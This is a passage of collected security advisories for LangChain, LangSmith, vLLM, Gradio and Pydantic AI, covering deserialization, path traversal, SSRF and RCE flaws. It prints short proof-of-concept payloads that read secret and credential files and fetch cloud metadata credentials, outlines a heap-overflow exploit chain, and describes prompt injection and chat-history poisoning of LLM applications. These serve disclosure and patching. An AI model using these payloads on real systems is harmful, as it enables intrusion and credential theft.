LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning
Description
The LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization.
Prompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain Runnable or PromptTemplate objects with attacker-controlled constructor kwargs, or secret references that, if secrets_from_env is enabled, read environment variables at deserialization time.
Applications are exposed when all of the following are true:
The application calls pull_prompt or pull_prompt_commit (Python) or pullPrompt or pullPromptCommit (JS/TS) with a public owner/name prompt identifier.
The prompt was published or modified by an untrusted or compromised account.
The application uses the pulled prompt without independently validating its contents.
Applications that only pull prompts from their own organization (referenced by name only, without an owner/ prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.
Impact
An attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by owner/name. If the prompt manifest reaches the SDK's deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.
Realistic impacts include:
Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled base_url, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint.
Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application's behavior.
Additional deserialization risk when include_model=True is passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller's organization.
Remediation
The LangSmith SDK now blocks pulling public prompts by owner/name by default. Callers must explicitly opt in by passing dangerously_pull_public_prompt=True (Python) or dangerouslyPullPublicPrompt: true (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.
Upgrade to LangSmith SDK Python >= 0.8.0 or JS/TS >= 0.6.0.
Guidance for prompt pull methods
The prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) should be used only with trusted prompts. Do not pull public prompts by owner/name from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.
When pulling prompts that include model configuration (include_model=True in Python, includeModel: true in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often unnecessary for third-party prompts, prefer the default (false) when pulling prompts from sources outside your organization.
Avoid passing secrets_from_env=True (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.
Same-organization prompts
Prompts pulled from the caller's own organization (referenced by name only, without an owner/ prefix) are not gated by the new dangerously_pull_public_prompt flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.
The security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller's own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.
Credits
First reported by @Moaaz-0x.
LangChain vulnerable to unsafe deserialization of attacker-controlled objects through overly broad `load()` allowlists
LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call load() with allowed_objects="all". This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments.
Applications are exposed only when all of the following are true:
1. The application accepts untrusted structured input, such as JSON, from a user or network request.
2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain.
3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs.
4. The application uses an affected API path that later deserializes that run data.
Known affected runtime surfaces include:
RunnableWithMessageHistory
astream_log()
astream_events(version="v1")
Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores.
Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive.
This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (_is_lc_secret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.
Impact
An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as:
``json
{
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "messages", "ai", "AIMessage"],
"kwargs": {"content": "attacker-controlled content"}
}
`
If this payload reaches a broad load() call, LangChain may instantiate the referenced class instead of treating the payload as inert user data.
Realistic impacts include:
Persistent chat-history poisoning when revived AIMessage, HumanMessage, or SystemMessage objects are stored by RunnableWithMessageHistory.
Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context.
Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments.
Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization.
Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects.
Remediation
LangChain will deprecate the affected APIs as part of this fix:
RunnableWithMessageHistory
astream_log()
astream_events(version="v1")
These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the stream API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces.
Separately, LangChain will update load() and loads() to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization.
This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (_is_lc_secret). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during dumps() -> loads() round-trips and reach LangChain object revival logic.
Guidance for load() and loads()
load() and loads() should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to load() or loads(), and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data.
load() and loads() are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow allowed_objects value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or allowed_objects="all", which permits the full trusted LangChain serialization allowlist.
Credits
The original issue was first reported by @u-ktdi.
Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit.
A related _is_lc_secret marker bypass affecting dumps() -> loads()` round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect)
LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions
Summary
Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).
Note: The affected functions (load_prompt, load_prompt_from_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.
Affected component
Package: langchain-core
File: langchain_core/prompts/loading.py
Affected functions: _load_template(), _load_examples(), _load_few_shot_prompt()
Severity
High
The score reflects the file-extension constraints that limit which files can be read.
Vulnerable code paths
| Config key | Loaded by | Readable extensions |
|---|---|---|
| template_path, suffix_path, prefix_path | _load_template() | .txt |
| examples (when string) | _load_examples() | .json, .yaml, .yml |
| example_prompt_path | _load_few_shot_prompt() | .json, .yaml, .yml |
None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.
Impact
An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:
.txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts
.json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings
This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose load_prompt_from_config().
Proof of concept
``python
from langchain_core.prompts.loading import load_prompt_from_config
Reads /tmp/secret.txt via absolute path injection
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # file contents disclosed
Reads ../../etc/secret.txt via directory traversal
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
Reads arbitrary .json via few-shot examples
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
`
Mitigation
Update langchain-core to >= 1.2.22.
The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allow_dangerous_paths=True keyword argument is available on load_prompt() and load_prompt_from_config() for trusted inputs.
As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load`.
Credit
jiayuqi7813 reporter
VladimirEliTokarev reporter
Rickidevs reporter
Kenneth Cox (cczine@gmail.com) reporter
vLLM has Hardcoded Trust Override in Model Files Enables RCE Despite Explicit User Opt-Out
Summary
Two model implementation files hardcode trust_remote_code=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model
repositories even when the user has explicitly disabled remote code trust.
### Details
Affected files (latest main branch):
1. vllm/model_executor/models/nemotron_vl.py:430
``python
vision_model = AutoModel.from_config(config.vision_config, trust_remote_code=True)
`
2. vllm/model_executor/models/kimi_k25.py:177
`python
cached_get_image_processor(self.ctx.model_config.model, trust_remote_code=True)
``
Both pass a hardcoded trust_remote_code=True to HuggingFace API calls, overriding the user's global --trust-remote-code=False setting.
Relation to prior CVEs:
CVE-2025-66448 fixed auto_map resolution in vllm/transformers_utils/config.py (config loading path)
CVE-2026-22807 fixed broader auto_map at startup
Both fixes are present in the current code. These hardcoded instances in model files survived both patches — different code paths.
Impact
Remote code execution. An attacker can craft a malicious model repository that executes arbitrary Python code when loaded by vLLM, even when the user has explicitly set --trust-remote-code=False. This undermines the security guarantee
that trust_remote_code=False is intended to provide.
Remediation: Replace hardcoded trust_remote_code=True with self.config.model_config.trust_remote_code in both files. Raise a clear error if the model component requires remote code but the user hasn't opted in.
Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
``python
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
`
3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
`python
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
`
4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
`python
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
`
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
`python
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
`
2. Victim loads the malicious Space:
`python
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
`
3. Attacker exploits the proxy:
`bash
Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
`
Impact
Who is impacted:
Any Gradio application that uses gr.load()` to load external/untrusted Spaces
HuggingFace Spaces that compose or embed other Spaces
Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
Internal service access: Reach databases, admin panels, and APIs on private networks
Network reconnaissance: Map internal infrastructure through the victim
Data exfiltration: Access sensitive internal APIs and services
Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+
Summary
Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.
Details
Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.
This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.
PoC
``
% curl http://10.10.10.10:7860/static//windows/win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
``
Impact
Arbitrary file read in the context of the Windows user running Gradio.
Pydantic AI has Stored XSS via Path Traversal in Web UI CDN URL
Summary
A Path Traversal vulnerability in the Pydantic AI web UI allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.
This vulnerability only affects applications that use:
Agent.to_web to serve a chat interface
clai web to serve a chat interface from the CLI
These are typically run locally (on localhost), but may also be deployed on a remote server.
Description
The web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a version query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.
Who Is Affected
Projects are affected if your application uses Agent.to_web or clai web to serve the Pydantic AI chat interface.
Attack Scenario
1. An attacker crafts a URL pointing to the victim's Pydantic AI web UI instance (either localhost with the known port, or a remote server endpoint) with a malicious version query parameter containing path traversal sequences.
2. The attacker gets the victim to visit this URL — directly via a link, through a redirect, or by embedding it in an iframe.
3. When the victim's browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.
4. The attacker's JavaScript executes in the victim's browser in the context of the Pydantic AI web application, with access to:
Chat history stored in localStorage (all user messages and AI responses)
Session cookies that are not set as HttpOnly, if authentication middleware is configured
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix removes the user-controllable version parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.
A new html_source parameter is available on Agent.to_web and create_web_app for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.
Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.
This vulnerability only affects applications that accept message history from external users, such as those using:
Agent.to_web or clai web to serve a chat interface
VercelAIAdapter for Vercel AI SDK integration
AGUIAdapter or Agent.to_ag_ui for AG-UI protocol integration
Custom APIs that accept message history from user input
Applications that only use hardcoded or developer-controlled URLs are not affected.
Description
The download_item() helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:
1. Access internal services: Request http://127.0.0.1, localhost, or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
2. Steal cloud credentials: Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure, Alibaba Cloud)
3. Scan internal networks: Enumerate internal hosts and ports
Who Is Affected
You are affected if your application:
1. Uses Agent.to_web or clai web - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.
2. Uses VercelAIAdapter - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.
3. Uses AGUIAdapter or Agent.to_ag_ui - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.
4. Exposes a custom API accepting message history - Any endpoint that accepts message history or ImageUrl, AudioUrl, VideoUrl, DocumentUrl objects from user input.
Attack Scenario
Via chat interface, an attacker submits a message with a file attachment pointing to an internal resource:
``json
{
"role": "user",
"parts": [
{"type": "file", "mediaType": "image/png", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
]
}
`
Affected Model Integrations
Multiple model integrations download URL content in certain conditions:
| Provider | Downloaded Types |
|----------|------------------|
| OpenAIChatModel | AudioUrl, DocumentUrl |
| AnthropicModel | DocumentUrl (text/plain) |
| GoogleModel (GLA) | All URL types (except YouTube and Files API URLs) |
| XaiModel | DocumentUrl |
| BedrockConverseModel | ImageUrl, DocumentUrl, VideoUrl (non-S3 URLs) |
| OpenRouterModel | AudioUrl |
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix adds comprehensive SSRF protection:
Blocks private/internal IP addresses by default
Always blocks cloud metadata endpoints (even with allow-local)
Only allows http:// and https:// protocols
Resolves hostnames before requests to prevent DNS rebinding
Validates each redirect target
New force_download='allow-local' Option
If an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:
`python
from pydantic_ai import ImageUrl
Default behavior: private IPs are blocked
ImageUrl(url="http://internal-service/image.png") # Raises ValueError
Opt-in to allow local access (use with caution)
ImageUrl(url="http://internal-service/image.png", force_download='allow-local')
`
Important: Cloud metadata endpoints (169.254.169.254, fd00:ec2::254, 100.100.100.200) are always blocked, even with allow-local.
Workaround for Older Versions
If a project cannot upgrade immediately, use a history processor to filter out URLs targeting local/private addresses:
`python
import ipaddress
import socket
from urllib.parse import urlparse
from pydantic_ai import Agent, ModelMessage, ModelRequest
from pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl
def is_private_url(url: str) -> bool:
"""Check if a URL targets a private/internal IP address."""
try:
parsed = urlparse(url)
hostname = parsed.hostname
if not hostname:
return True # Invalid URL, block it
# Resolve hostname to IP
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
# Block private, loopback, and link-local addresses
return ip.is_private or ip.is_loopback or ip.is_link_local
except (socket.gaierror, ValueError):
return True # DNS resolution failed, block it
def filter_private_urls(messages: list[ModelMessage]) -> list[ModelMessage]:
"""Remove URL parts that target private/internal addresses."""
url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)
filtered = []
for msg in messages:
if isinstance(msg, ModelRequest):
safe_parts = [
part for part in msg.parts
if not (isinstance(part, url_types) and is_private_url(part.url))
]
if safe_parts:
filtered.append(ModelRequest(parts=safe_parts))
else:
filtered.append(msg)
return filtered
Apply the filter to your agent
agent = Agent('openai:gpt-5', history_processors=[filter_private_urls])
`
Technical Details of the Fix
The fix introduces a new _ssrf.py module with comprehensive protection:
1. Protocol validation: Only http:// and https:// allowed
2. DNS resolution before request: Prevents DNS rebinding attacks
3. Private IP blocking (by default):
127.0.0.0/8, ::1/128 (loopback)
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
169.254.0.0/16, fe80::/10 (link-local)
100.64.0.0/10 (CGNAT)
fc00::/7 (unique local)
2002::/16 (6to4, can embed private IPv4)
4. Cloud metadata always blocked: 169.254.169.254, fd00:ec2::254, 100.100.100.200`
5. Safe redirect handling: Each redirect validated before following (max 10)
vLLM has RCE In Video Processing
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR
2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow
The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause
cdef allows channel remapping (e.g., Y→U, U→Y).
Y plane size: W×H; U plane size: (W/2)×(H/2).
Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64)
Y plane: 150×64 = 9,600 bytes
U plane: 75×32 = 2,400 bytes
Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box
``
Offset Size Field Value
0 4 Box Length 0x00000016 (22 bytes)
4 4 Box Type 'cdef'
8 2 N (channels) 0x0003
10 2 Channel 0 Cn 0x0000 (Y channel)
12 2 Channel 0 Typ 0x0000 (color)
14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane)
16 2 Channel 1 Cn 0x0001 (U channel)
18 2 Channel 1 Typ 0x0000 (color)
20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane)
22 2 Channel 2 Cn 0x0002 (V channel)
24 2 Channel 2 Typ 0x0000 (color)
26 2 Channel 2 Asoc 0x0003 (→ maps V plane)
`
Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote video_url and downloads raw bytes
vLLM’s OpenAI-compatible API supports a video_url content part:
`python
class VideoURL(TypedDict, total=False):
url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False):
video_url: Required[VideoURL]
type: Required[Literal["video_url"]]
`
Source: src/vllm/entrypoints/chat_utils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
`python
if url_spec.scheme.startswith("http"):
data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...)
return media_io.load_bytes(data)
`
Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
`python
backend = cls().get_cv2_video_api()
cap = cv2.VideoCapture(BytesIO(data), backend, [])
if not cap.isOpened():
raise ValueError("Could not open video stream")
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
`python
import cv2.videoio_registry as vr
for backend in vr.getStreamBufferedBackends():
if vr.hasBackend(backend) and ...:
api_pref = backend
break
return api_pref
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
Y plane bytes: \(W \times H\)
U plane bytes: \((W/2) \times (H/2)\)
Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
Y: \(150 \times 64 = 9600\) bytes
U: \(75 \times 32 = 2400\) bytes
Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
`
cannot identify image file <_io.BytesIO object at 0x7a95e299e750>
^^^^^^^^^^^^^^^^
LEAKED ADDRESS!
`
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
`
vLLM API Request to Completions/Invocation
↓
OpenCV cv2.VideoCapture()
↓
FFmpeg 5.1 (bundled in OpenCV)
↓
JPEG2000 decoder (libopenjp2)
↓
HEAP OVERFLOW via malicious "cdef" box
↓
Overwrite function pointer → RCE!
`
How the overflow works:
JPEG2000 has a cdef box that remaps color channels
We remap Y (luma) into the U (chroma) buffer
Y plane = 9,600 bytes, U plane = 2,400 bytes
On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images.
This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets.
We set free = system() and opaque = "command string"
When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
`
POST /v1/chat/completions (with video_url in content)
POST /v1/invocations (with video_url in content)
`
Request Flow
`
1. Attacker sends request with video_url pointing to malicious .mov file
2. vLLM fetches the video from the URL
3. vLLM passes video bytes to cv2.VideoCapture()
4. OpenCV's bundled FFmpeg decodes JPEG2000 frames
5. Malicious cdef box triggers heap overflow
6. AVBuffer.free pointer overwritten with system()
7. When buffer is released → system("attacker command") executes
``
---
Versions Affected
| Component | Version | Notes |
|-----------|---------|-------|
| vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model |
| OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable |
| FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow |
| libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987
https://github.com/vllm-project/vllm/pull/32319
https://github.com/vllm-project/vllm/pull/32668
vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
> def load_from_url(
> self,
> url: str,
> media_io: MediaIO[_M],
> ,
> fetch_timeout: int | None = None,
> ) -> _M: # type: ignore[type-var]
> url_spec = urlparse(url)
>
> if url_spec.scheme.startswith("http"):
> self._assert_url_in_allowed_media_domains(url_spec)
>
> connection = self.connection
> data = connection.get_bytes(
> url,
> timeout=fetch_timeout,
> allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,
> )
>
> return media_io.load_bytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parse_url function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746
vLLM affected by RCE via auto_map dynamic module loading during model initialization
Summary
vLLM loads Hugging Face auto_map dynamic modules during model resolution without gating on trust_remote_code, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load.
This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/model_executor/models/registry.py resolves auto_map entries with try_get_class_from_dynamic_module without checking trust_remote_code (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates auto_map entries from the model config and calls try_get_class_from_dynamic_module, which delegates to Transformers’ get_class_from_dynamic_module and executes the module code.
This occurs even when trust_remote_code is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
vllm/model_executor/models/registry.py:856 — auto_map resolution
vllm/transformers_utils/dynamic_module.py:13 — delegates to get_class_from_dynamic_module, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
vLLM introduced enhanced protection for CVE-2025-62164
Summary
The fix here for CVE-2025-62164 is not sufficient. The fix only disables prompt embeds by default rather than addressing the root cause, so the DoS vulnerability remains when the feature is enabled.
Details
